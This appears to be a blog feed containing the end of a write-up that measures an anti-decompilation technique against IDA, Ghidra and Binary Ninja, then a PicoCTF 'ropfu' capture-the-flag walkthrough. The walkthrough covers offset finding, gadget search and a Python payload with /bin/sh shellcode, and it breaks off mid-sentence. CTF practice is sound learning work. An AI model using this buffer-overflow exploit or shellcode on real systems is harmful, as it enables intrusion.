<section><h2>Validation<a href="#validation"><span>#</span></a></h2><p>Based-on: <code>BRKDEC v2.0</code></p><section><h3>IDA Free<a href="#ida-free"><span>#</span></a></h3><p>In the case of IDA Free, functions were not decompiled properly for either binary. The Decompiler Explorer was used to verify and compare some decompilation results. In the regular binary, the following numbers of branches were identified:</p><ul>
<li><strong>0 loops</strong></li>
<li><strong>19 conditional statements</strong></li>
<li><strong>14 flow changes</strong></li>
</ul><p>In the code after BRKDEC was applied, the following were identified:</p><ul>
<li><strong>0 loops</strong></li>
<li><strong>3 conditional statements</strong></li>
<li><strong>8 flow changes</strong></li>
</ul><p>Therefore, the impact was determined to be:</p><ul>
<li><strong>0% on loops</strong></li>
<li><strong>84% on conditional statements</strong></li>
<li><strong>42% on flow changes</strong></li>
</ul><p>Since IDA Free failed to decompile the baseline binary reliably, the post-transformation result should be interpreted as an additional degradation rather than an absolute decompilation failure rate. Based on the reduction in recovered conditionals and the near-complete loss of logic, the additional impact was assessed to be <strong>over 80%.</strong></p></section><section><h3>Ghidra<a href="#ghidra"><span>#</span></a></h3><p>In the case of Ghidra, most recovered functions degenerated into stubs centered around <code>thrd_yield()</code>. In the regular binary, the following numbers of branches were identified:</p><ul>
<li><strong>1 loop</strong></li>
<li><strong>17 conditional statements</strong></li>
<li><strong>4 flow changes</strong></li>
</ul><p>In the code after BRKDEC was applied, the following numbers of branches were identified:</p><ul>
<li><strong>0 loops</strong></li>
<li><strong>0 conditional statements</strong></li>
<li><strong>0 flow changes</strong></li>
</ul><p>Therefore, the impact was determined to be:</p><ul>
<li><strong>100% on loops</strong></li>
<li><strong>100% on conditional statements</strong></li>
<li><strong>100% on flow changes</strong></li>
</ul><p>Taking into account potential errors and disassembly, the overall impact was determined to be <strong>over 90%</strong>.</p></section><section><h3>Binarny Ninja<a href="#binarny-ninja"><span>#</span></a></h3><p>In the case of Binary Ninja, functions were relatively restored to a normal state, but some executable code was treated as data, leading to losses during code recovery. In the regular binary, the following numbers of branches were identified:</p><ul>
<li><strong>1 loop</strong></li>
<li><strong>19 conditional statements</strong></li>
<li><strong>5 flow changes</strong></li>
</ul><p>In the code after BRKDEC was applied, the following were identified:</p><ul>
<li><strong>0 loops</strong></li>
<li><strong>19 conditional statements</strong></li>
<li><strong>14 flow changes</strong></li>
</ul><p>Therefore, the impact was determined to be:</p><ul>
<li><strong>100% on loops</strong></li>
<li><strong>0% on conditional statements</strong></li>
<li><strong>180% on flow changes</strong></li>
</ul><p>Although the number of recovered conditional statements remained unchanged, the loss of loop recovery and the substantial increase in control-flow transfers significantly fragmented the reconstructed CFG. Because the overall algorithm remained partially interpretable, the net effectiveness was assessed at <strong>approximately 65%</strong>.</p></section><section><h3>Windows<a href="#windows"><span>#</span></a></h3><p>Windows operates in the same way, but the specific figures may differ (in actual experimental data, IDA Free, Ghidra, and Binary Ninja all showed improved results). As a result of emulation using QEMU, the binary’s normal operation was <strong>tested 10 times, and all 10 tests confirmed normal functionality</strong>. The difficulty of reverse engineering, even after (inadvertently) applying symbols, showed approximately <strong>5-10% greater impact compared to Linux binaries.</strong></p></section></section>
<section><h2>Limitations<a href="#limitations"><span>#</span></a></h2><ul>
<li><strong>Binary Patch</strong>: If the BRKDEC code is removed via binary patching, <strong>the original program can be immediately exposed</strong>. If one understands the source code of BRKDEC and is able to patch the binary, meaningful decompilation results can be obtained.</li>
<li><strong>Memory Stability</strong>: This issue was identified previously as well: <strong>code that manipulates registers through low-level access can destabilize or completely corrupt the stack</strong>.</li>
<li><strong>Performance Degradation</strong>: From a performance perspective, <strong>repeatedly saving all registers to the stack can accumulate performance overhead, potentially leading to significant degradation over time</strong>. Applying BRKDEC globally, especially to large-scale software, may be unstable from a memory standpoint.</li>
</ul></section>
<section><h2>References<a href="#references"><span>#</span></a></h2><p>ChatGPT, Gemini, and DeepSeek were used to improve the technical English expressions in this document.</p><ul>
<li><a href="https://github.com/android1337/brkida" target="_blank">https://github.com/android1337/brkida</a></li>
<li><a href="https://en.wikipedia.org/wiki/Disassembler" target="_blank">https://en.wikipedia.org/wiki/Disassembler</a></li>
<li><a href="https://en.wikipedia.org/wiki/Control-flow_graph" target="_blank">https://en.wikipedia.org/wiki/Control-flow_graph</a></li>
<li><a href="https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/" target="_blank">https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/</a></li>
</ul></section>]]></content>
    </entry>
    <entry>
      <id>https://therustymate.com/posts/2025-10-29-ropfu/2025-10-29-ropfu/</id>
      <title type="text">PicoCTF - ropfu</title>
      <published>2025-10-29T00:00:00.000Z</published>
      <updated>2025-10-29T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2025-10-29-ropfu/2025-10-29-ropfu/"/>
      <summary type="text">PicoCTF Writeup for ropfu Challenge</summary>
      <content type="html"><![CDATA[<p>PicoCTF Challenge:
<a href="https://play.picoctf.org/practice/challenge/292?category=6&amp;page=4" target="_blank">https://play.picoctf.org/practice/challenge/292?category=6&amp;page=4</a></p>
<blockquote><section><h2>ropfu<a href="#ropfu"><span>#</span></a></h2><p>Author: Sanjay C / LT ‘syreal’ Jones</p><section><h3>Description<a href="#description"><span>#</span></a></h3><p>What’s ROP?<br />
Can you exploit the following program to get the flag? Download source.</p></section><section><h3>Hints<a href="#hints"><span>#</span></a></h3><p>1st - This is a classic ROP to get a shell<br /></p></section><section><h3>Resources:<a href="#resources"><span>#</span></a></h3><p>Source Code: <a href="https://artifacts.picoctf.net/c/44/vuln.c" target="_blank">/vuln.c</a><br />
Binary: <a href="https://artifacts.picoctf.net/c/44/vuln" target="_blank">/vuln</a><br /></p></section></section></blockquote>
<section><h2>Decompile<a href="#decompile"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int</span><span> __cdecl </span><span>main</span><span>(</span><span>int</span><span><span> </span><span>argc</span><span>,</span><span> </span></span><span>const</span><span> </span><span>char</span><span> </span><span>**</span><span><span>argv</span><span>,</span><span> </span></span><span>const</span><span> </span><span>char</span><span> </span><span>**</span><span><span>envp</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>int</span><span> v4;</span><span> // [esp+0h] [ebp-Ch]</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>    </span><span>setvbuf</span><span>(stdout, </span><span>0</span><span>, </span><span>2</span><span>, </span><span>0</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>v4 </span><span>=</span><span> </span><span>getegid</span><span>();</span></div></div><div><div><div>7</div></div><div><span>    </span><span>setresgid</span><span>(v4, v4, v4);</span></div></div><div><div><div>8</div></div><div><span>    </span><span>vuln</span><span>();</span></div></div><div><div><div>9</div></div><div><span>    </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>int</span><span> </span><span>vuln</span><span>()</span></div></div><div><div><div>13</div></div><div><span>{</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>_BYTE </span><span>v1</span><span>[</span><span>20</span><span>];</span><span> // [esp+0h] [ebp-18h] BYREF</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>    </span><span>puts</span><span>(</span><span>"How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!"</span><span>);</span></div></div><div><div><div>17</div></div><div><span>    </span><span>return</span><span> </span><span>gets</span><span>(v1);</span></div></div><div><div><div>18</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><p>The code above is the decompiled source code from a binary. Let me summarize it more concisely.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int</span><span> </span><span>main</span><span>(</span><span>int</span><span><span> </span><span>argc</span><span>,</span><span> </span></span><span>const</span><span> </span><span>char</span><span> </span><span>**</span><span><span>argv</span><span>,</span><span> </span></span><span>const</span><span> </span><span>char</span><span> </span><span>**</span><span><span>envp</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>gid_t</span><span> effective_group_id;</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>    </span><span>setvbuf</span><span>(stdout, </span><span>NULL</span><span>, _IONBF, </span><span>0</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>effective_group_id </span><span>=</span><span> </span><span>getegid</span><span>();</span></div></div><div><div><div>7</div></div><div><span>    </span><span>setresgid</span><span>(effective_group_id, effective_group_id, effective_group_id);</span></div></div><div><div><div>8</div></div><div><span>    </span><span>vuln</span><span>();</span></div></div><div><div><div>9</div></div><div><span>    </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>int</span><span> </span><span>vuln</span><span>()</span></div></div><div><div><div>13</div></div><div><span>{</span></div></div><div><div><div>14</div></div><div><span>    </span><span>char</span><span> </span><span>buffer</span><span>[</span><span>20</span><span>];</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>    </span><span>puts</span><span>(</span><span>"How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!"</span><span>);</span></div></div><div><div><div>17</div></div><div><span>    </span><span>return</span><span> </span><span>gets</span><span>(buffer);</span></div></div><div><div><div>18</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div></section>
<section><h2>Analysis<a href="#analysis"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>therustymate-picoctf@webshell:~$</span><span> </span><span>file</span><span> </span><span>vuln_3</span></div></div><div><div><div>2</div></div><div><span>vuln_3:</span><span> </span><span>ELF</span><span> </span><span>32-bit</span><span> </span><span>LSB</span><span> </span><span>executable,</span><span> </span><span>Intel</span><span> </span><span>80386,</span><span> </span><span>version</span><span> </span><span>1</span><span> (GNU/Linux), statically linked, </span><span>BuildID</span><span>[</span><span>sha1</span><span><span>]</span><span>=</span></span><span>232215a502491a549a155b1a790de97f0c433482,</span><span> </span><span>for</span><span> </span><span>GNU/Linux</span><span> </span><span>3.2.0,</span><span> </span><span>not</span><span> </span><span>stripped</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>This program is a simple piece of code that reads input using the vulnerable <code>gets</code> function and then returns. As before, I will quickly find the offset that lets us overwrite the return address.</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>(</span><span>gdb</span><span>) </span><span>run</span></div></div><div><div><div>2</div></div><div><span>The</span><span> </span><span>program</span><span> </span><span>being</span><span> </span><span>debugged</span><span> </span><span>has</span><span> </span><span>been</span><span> </span><span>started</span><span> </span><span>already.</span></div></div><div><div><div>3</div></div><div><span>Start</span><span> </span><span>it</span><span> </span><span>from</span><span> </span><span>the</span><span> </span><span>beginning?</span><span> (y </span><span>or</span><span> </span><span>n</span><span>) y</span></div></div><div><div><div>4</div></div><div><span>Starting</span><span> </span><span>program:</span><span> </span><span>/home/therustymate-picoctf/vuln_3</span></div></div><div><div><div>5</div></div><div><span>warning:</span><span> </span><span>Error</span><span> </span><span>disabling</span><span> </span><span>address</span><span> </span><span>space</span><span> </span><span>randomization:</span><span> </span><span>Operation</span><span> </span><span>not</span><span> </span><span>permitted</span></div></div><div><div><div>6</div></div><div><span>How</span><span> </span><span>strong</span><span> </span><span>is</span><span> </span><span>your</span><span> </span><span>ROP-fu?</span><span> </span><span>Snatch</span><span> </span><span>the</span><span> </span><span>shell</span><span> </span><span>from</span><span> </span><span>my</span><span> </span><span>hand,</span><span> </span><span>grasshopper!</span></div></div><div><div><div>7</div></div><div><span>0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!</span><span>"#$%&amp;\'()*+,-./:;&lt;=&gt;?@[</span><span>\\</span><span>]^_</span><span>`{|}~ \t\n\r\x0b\x0c</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>Program</span><span> received signal SIGSEGV, Segmentation fault.</span></div></div><div><div><div>10</div></div><div><span>0x76757473</span><span> in ?? ()</span></div></div><div><div><div>11</div></div><div><span>(</span><span>gdb</span><span>) </span><span>info</span><span> registers eip</span></div></div><div><div><div>12</div></div><div><span>eip</span><span>            </span><span>0x76757473</span><span>          </span><span>0x76757473</span></div></div><div><div><div>13</div></div><div><span>(</span><span>gdb</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>gdb shows the <code>EIP</code> register is currently pointing at <code>0x76757473</code>. Converting that back into a string yields the following:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&gt;&gt;&gt;</span><span> </span></span><span>chr</span><span>(</span><span>0x</span><span>76</span><span><span>)</span><span>+</span></span><span>chr</span><span>(</span><span>0x</span><span>75</span><span><span>)</span><span>+</span></span><span>chr</span><span>(</span><span>0x</span><span>74</span><span><span>)</span><span>+</span></span><span>chr</span><span>(</span><span>0x</span><span>73</span><span>)</span></div></div><div><div><div>2</div></div><div><span>'vuts'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Since the string “vuts” appears, it indicates that the return address starts from the character <strong>‘s’</strong> and spans 4 bytes. The method to calculate the offset is as follows:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&gt;&gt;&gt;</span><span> </span></span><span>len</span><span>(</span><span>'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&amp;</span><span>\'</span><span>()*+,-./:;&lt;=&gt;?@[</span><span>\\</span><span>]^_`{|}~ </span><span>\t\n\r\x0b\x0c</span><span>'</span><span><span>.</span><span>split</span><span>(</span></span><span>'stuv'</span><span>)[</span><span>0</span><span>])</span></div></div><div><div><div>2</div></div><div><span>28</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Therefore, after 28 bytes of characters, we can hijack the return address.</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>therustymate-picoctf@webshell:~$</span><span> </span><span>strings</span><span> </span><span>./vuln_3</span><span> | </span><span>grep</span><span> </span><span>"flag"</span></div></div><div><div><div>2</div></div><div><span>WARNING:</span><span> </span><span>Unsupported</span><span> </span><span>flag</span><span> </span><span>value</span><span>(</span><span>s</span><span>) </span><span>of</span><span> </span><span>0x%x</span><span> </span><span>in</span><span> </span><span>DT_FLAGS_1.</span></div></div><div><div><div>3</div></div><div><span>(</span><span>mode_flags</span><span> &amp; </span><span>PRINTF_FORTIFY</span><span>) !</span><span>=</span><span> </span><span>0</span></div></div><div><div><div>4</div></div><div><span>version</span><span> </span><span>==</span><span> </span><span>NULL</span><span> || !(</span><span>flags</span><span> &amp; </span><span>DL_LOOKUP_RETURN_NEWEST</span><span>)</span></div></div><div><div><div>5</div></div><div><span>_dl_x86_hwcap_flags</span></div></div><div><div><div>6</div></div><div><span>_dl_stack_flags</span></div></div><div><div><div>7</div></div><div><span>_dl_x86_cap_flags</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>I searched for functions but couldn’t find any additional functions or flag-related information that could be used. This means we must construct a shellcode and develop an RCE exploit that uploads the shellcode directly.</p></section>
<section><h2>Exploit Development<a href="#exploit-development"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>therustymate-picoctf@webshell:~$</span><span> </span><span>checksec</span><span> </span><span>--file=./vuln_3</span></div></div><div><div><div>2</div></div><div><span>[*] </span><span>'/home/therustymate-picoctf/vuln_3'</span></div></div><div><div><div>3</div></div><div><span>    </span><span>Arch:</span><span>       </span><span>i386-32-little</span></div></div><div><div><div>4</div></div><div><span>    </span><span>RELRO:</span><span>      </span><span>Partial</span><span> </span><span>RELRO</span></div></div><div><div><div>5</div></div><div><span>    </span><span>Stack:</span><span>      </span><span>Canary</span><span> </span><span>found</span></div></div><div><div><div>6</div></div><div><span>    </span><span>NX:</span><span>         </span><span>NX</span><span> </span><span>unknown</span><span> </span><span>-</span><span> </span><span>GNU_STACK</span><span> </span><span>missing</span></div></div><div><div><div>7</div></div><div><span>    </span><span>PIE:</span><span>        </span><span>No</span><span> </span><span>PIE</span><span> (0x8048000)</span></div></div><div><div><div>8</div></div><div><span>    </span><span>Stack:</span><span>      </span><span>Executable</span></div></div><div><div><div>9</div></div><div><span>    </span><span>RWX:</span><span>        </span><span>Has</span><span> </span><span>RWX</span><span> </span><span>segments</span></div></div><div><div><div>10</div></div><div><span>    </span><span>Stripped:</span><span>   </span><span>No</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Using the <code>checksec</code> tool to inspect the binary, I confirmed that Stack Canary is active. This means we need to bypass this.</p><p>However, unlike our earlier analysis, neither <code>main</code> nor <code>vuln</code> have a stack canary. The disassembly shows no logic that checks or compares a specific value before returning. Because <code>abort()</code> was found, it’s likely used by some other, specific function.</p><p>I give up today because my back bones are gone because of this. I will have to see a doctor soon. I will come back tomorrow. (I spent 15 hours)</p><p>After studying the binary with IDA and GDB for a long time, I expect the shellcode’s memory address to be stored in the EAX register.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>lea</span><span>     </span></span><span>eax</span><span>, [</span><span>ebp</span><span>+var_18]</span></div></div><div><div><div>2</div></div><div><span><span>push</span><span>    </span></span><span>eax</span></div></div><div><div><div>3</div></div><div><span><span>call</span><span>    gets</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Here, to call <code>gets</code> the code places the pointer to the 20-byte input buffer (<code>[ebp+var_18]</code>) into <code>EAX</code> using the <code>LEA</code> (Load Effective Address) instruction. In other words, we can expect the shellcode to reside in the buffer pointed to by <code>EAX</code>.</p><p>I will use the <code>ROPgadget</code> tool to locate a <code>jmp eax</code> gadget.</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>therustymate-picoctf@webshell:~$</span><span> </span><span>ROPgadget</span><span> </span><span>--binary</span><span> </span><span>./vuln_3</span><span> | </span><span>grep</span><span> </span><span>"jmp eax"</span></div></div><div><div><div>2</div></div><div><span>...</span></div></div><div><div><div>3</div></div><div><span>0x0805333b</span><span> </span><span>:</span><span> </span><span>jmp</span><span> </span><span>eax</span></div></div><div><div><div>4</div></div><div><span>0x08086464</span><span> </span><span>:</span><span> </span><span>lea</span><span> </span><span>esi,</span><span> [esi] ; </span><span>jmp</span><span> </span><span>eax</span></div></div><div><div><div>5</div></div><div><span>0x08053337</span><span> </span><span>:</span><span> </span><span>les</span><span> </span><span>eax,</span><span> </span><span>ptr</span><span> [ebx </span><span>+</span><span> </span><span>ebx</span><span>*</span><span>2]</span><span> ; </span><span>pop</span><span> </span><span>esi</span><span> ; </span><span>jmp</span><span> </span><span>eax</span></div></div><div><div><div>6</div></div><div><span>0x0805530d</span><span> </span><span>:</span><span> </span><span>les</span><span> </span><span>ebx,</span><span> </span><span>ptr</span><span> [ebx </span><span>+</span><span> </span><span>ebx</span><span>*</span><span>2]</span><span> ; </span><span>pop</span><span> </span><span>esi</span><span> ; </span><span>pop</span><span> </span><span>edi</span><span> ; </span><span>pop</span><span> </span><span>ebp</span><span> ; </span><span>jmp</span><span> </span><span>eax</span></div></div><div><div><div>7</div></div><div><span>0x08057f9e</span><span> </span><span>:</span><span> </span><span>les</span><span> </span><span>ecx,</span><span> </span><span>ptr</span><span> [ebx </span><span>+</span><span> </span><span>ebx</span><span>*</span><span>2]</span><span> ; </span><span>pop</span><span> </span><span>esi</span><span> ; </span><span>pop</span><span> </span><span>edi</span><span> ; </span><span>pop</span><span> </span><span>ebp</span><span> ; </span><span>jmp</span><span> </span><span>eax</span></div></div><div><div><div>8</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>There is a <code>JMP EAX</code> gadget at <code>0x0805333b</code>. I will use this to attempt to jump to the shellcode’s location.</p><p>I generated the payload and supplied it as input in GDB.</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>def</span><span> </span><span>craftPayload</span><span>():</span></div></div><div><div><div>2</div></div><div><span>    </span><span># ROP Gadgets:</span></div></div><div><div><div>3</div></div><div><span>    </span><span># 0x0805333b : jmp eax</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>rop_chain </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&lt;I"</span><span>, </span><span>0x</span><span>0805333b</span><span>)     </span><span># 0x0805333b : jmp eax</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>nop_slide </span><span>=</span><span> </span><span>b</span><span>"</span><span>\x90</span><span>"</span><span><span> </span><span>*</span><span> </span></span><span>100</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>    </span><span># 0xffb00a6c:     0x0805333b      0x2f68686a (jhh starting point)</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>shellcode </span><span>=</span><span> </span><span>b</span><span>'jhh///sh/bin</span><span>\x89\xe3</span><span>h</span><span>\x01\x01\x01\x01\x81</span><span>4$ri</span><span>\x01\x01</span><span>1</span><span>\xc9</span><span>Qj</span><span>\x04</span><span>Y</span><span>\x01\xe1</span><span>Q</span><span>\x89\xe1</span><span>1</span><span>\xd2</span><span>j</span><span>\x0b</span><span>X</span><span>\xcd\x80</span><span>'</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>padding </span><span>=</span><span> </span><span>b</span><span>"A"</span><span><span> </span><span>*</span><span> </span></span><span>28</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>payload </span><span>=</span><span> padding </span><span>+</span><span> rop_chain </span><span>+</span><span> nop_slide </span><span>+</span><span> shellcode</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>    </span><span>return</span><span> payload</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>Show more</span><span>Show less</span></figcaption><pre><code><div><div><div>1</div></div><div><span>(</span><span>gdb</span><span>) </span><span>run</span><span> &lt; </span><span>last_Shell.bin</span></div></div><div><div><div>2</div></div><div><span>Starting</span><span> </span><span>program:</span><span> </span><span>/home/therustymate-picoctf/vuln_3</span><span> &lt; </span><span>last_Shell.bin</span></div></div><div><div><div>3</div></div><div><span>warning:</span><span> </span><span>Error</span><span> </span><span>disabling</span><span> </span><span>address</span><span> </span><span>space</span><span> </span><span>randomization:</span><span> </span><span>Operation</span><span> </span><span>not</span><span> </span><span>permitted</span></div></div><div><div><div>4</div></div><div><span>How</span><span> </span><span>strong</span><span> </span><span>is</span><span> </span><span>your</span><span> </span><span>ROP-fu?</span><span> </span><span>Snatch</span><span> </span><span>the</span><span> </span><span>shell</span><span> </span><span>from</span><span> </span><span>my</span><span> </span><span>hand,</span><span> </span><span>grasshopper!</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>Program</span><span> </span><span>received</span><span> </span><span>signal</span><span> </span><span>SIGSEGV,</span><span> </span><span>Segmentation</span><span> </span><span>fault.</span></div></div><div><div><div>7</div></div><div><span>0xffe5e6cc</span><span> </span><span>in</span><span> </span><span>??</span><span> ()</span></div></div><div><div><div>8</div></div><div><span>(</span><span>gdb</span><span>) </span><span>info</span><span> </span><span>registers</span></div></div><div><div><div>9</div></div><div><span>eax</span><span>            </span><span>0xffe5e6b0</span><span>          </span><span>-1710416</span></div></div><div><div><div>10</div></div><div><span>ecx</span><span>            </span><span>0x80e531c</span><span>           </span><span>135156508</span></div></div><div><div><div>11</div></div><div><span>edx</span><span>            </span><span>0xffe5e760</span><span>          </span><span>-1710240</span></div></div><div><div><div>12</div></div><div><span>ebx</span><span>            </span><span>0x41414141</span><span>          </span><span>1094795585</span></div></div><div><div><div>13</div></div><div><span>esp</span><span>            </span><span>0xffe5e6d0</span><span>          </span><span>0xffe5e6d0</span></div></div><div><div><div>14</div></div><div><span>ebp</span><span>            </span><span>0x41414141</span><span>          </span><span>0x41414141</span></div></div><div><div><div>15</div></div><div><span>esi</span><span>            </span><span>0x80e5000</span><span>           </span><span>135155712</span></div></div><div><div><div>16</div></div><div><span>edi</span><span>            </span><span>0x80e5000</span><span>           </span><span>135155712</span></div></div><div><div><div>17</div></div><div><span>eip</span><span>            </span><span>0xffe5e6cc</span><span>          </span><span>0xffe5e6cc</span></div></div><div><div><div>18</div></div><div><span>eflags</span><span>         </span><span>0x10202</span><span>             [ </span><span>IF</span><span> </span><span>RF</span><span> </span><span>]</span></div></div><div><div><div>19</div></div><div><span>cs</span><span>             </span><span>0x23</span><span>                </span><span>35</span></div></div><div><div><div>20</div></div><div><span>ss</span><span>             </span><span>0x2b</span><span>                </span><span>43</span></div></div><div><div><div>21</div></div><div><span>ds</span><span>             </span><span>0x2b</span><span>                </span><span>43</span></div></div><div><div><div>22</div></div><div><span>es</span><span>             </span><span>0x2b</span><span>                </span><span>43</span></div></div><div><div><div>23</div></div><div><span>fs</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>24</div></div><div><span>gs</span><span>             </span><span>0x63</span><span>                </span><span>99</span></div></div><div><div><div>25</div></div><div><span>k0</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>26</div></div><div><span>k1</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>27</div></div><div><span>k2</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>28</div></div><div><span>k3</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>29</div></div><div><span>k4</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>30</div></div><div><span>k5</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>31</div></div><div><span>k6</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>32</div></div><div><span>k7</span><span>             </span><span>0x0</span><span>                 </span><span>0</span></div></div><div><div><div>33</div></div><div><span>(</span><span>gdb</span><span>) </span><span>x/50wx</span><span> </span><span>0xffe5e6cc</span></div></div><div><div><div>34</div></div><div><span>0xffe5e6cc:</span><span>     </span><span>0x0805333b</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span></div></div><div><div><div>35</div></div><div><span>0xffe5e6dc:</span><span>     </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span></div></div><div><div><div>36</div></div><div><span>0xffe5e6ec:</span><span>     </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span></div></div><div><div><div>37</div></div><div><span>0xffe5e6fc:</span><span>     </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span></div></div><div><div><div>38</div></div><div><span>0xffe5e70c:</span><span>     </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span></div></div><div><div><div>39</div></div><div><span>0xffe5e71c:</span><span>     </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x90909090</span></div></div><div><div><div>40</div></div><div><span>0xffe5e72c:</span><span>     </span><span>0x90909090</span><span>      </span><span>0x90909090</span><span>      </span><span>0x2f68686a</span><span>      </span><span>0x68732f2f</span></div></div><div><div><div>41</div></div><div><span>0xffe5e73c:</span><span>     </span><span>0x6e69622f</span><span>      </span><span>0x0168e389</span><span>      </span><span>0x81010101</span><span>      </span><span>0x69722434</span></div></div><div><div><div>42</div></div><div><span>0xffe5e74c:</span><span>     </span><span>0xc9310101</span><span>      </span><span>0x59046a51</span><span>      </span><span>0x8951e101</span><span>      </span><span>0x6ad231e1</span></div></div><div><div><div>43</div></div><div><span>0xffe5e75c:</span><span>     </span><span>0x80cd580b</span><span>      </span><span>0xa454fb00</span><span>      </span><span>0x66d6be9f</span><span>      </span><span>0x00000000</span></div></div><div><div><div>44</div></div><div><span>0xffe5e76c:</span><span>     </span><span>0x00000000</span><span>      </span><span>0x00000000</span><span>      </span><span>0x00000000</span><span>      </span><span>0x00000000</span></div></div><div><div><div>45</div></div><div><span>0xffe5e77c:</span><span>     </span><span>0x00000000</span><span>      </span><span>0x080e5000</span><span>      </span><span>0x00000001</span><span>      </span><span>0x00000000</span></div></div><div><div><div>46</div></div><div><span>0xffe5e78c:</span><span>     </span><span>0x08049c46</span><span>      </span><span>0x08049dc1</span></div></div><div><div><div>47</div></div><div><span>(</span><span>gdb</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><p>When I checked in GDB, it landed correctly near the shellcode’s NOP slide. However, for some reason <code>0x0805333b</code> appears first.</p><p>As I confirmed, the address <code>0x0805333b</code> which was supposed to be the first gadget address of the ROP chain was not written directly into <code>EIP</code>. Instead, <code>EIP</code> was incorrectly overwritten with the stack address that held that gadget address, so that data value was interpreted as opcodes and caused an error.</p><p>Therefore, to actually run the ROP chain we need a <code>JMP ESP</code> instruction. By using <code>ESP</code> (Extended Stack Pointer) we can make the ROP code be 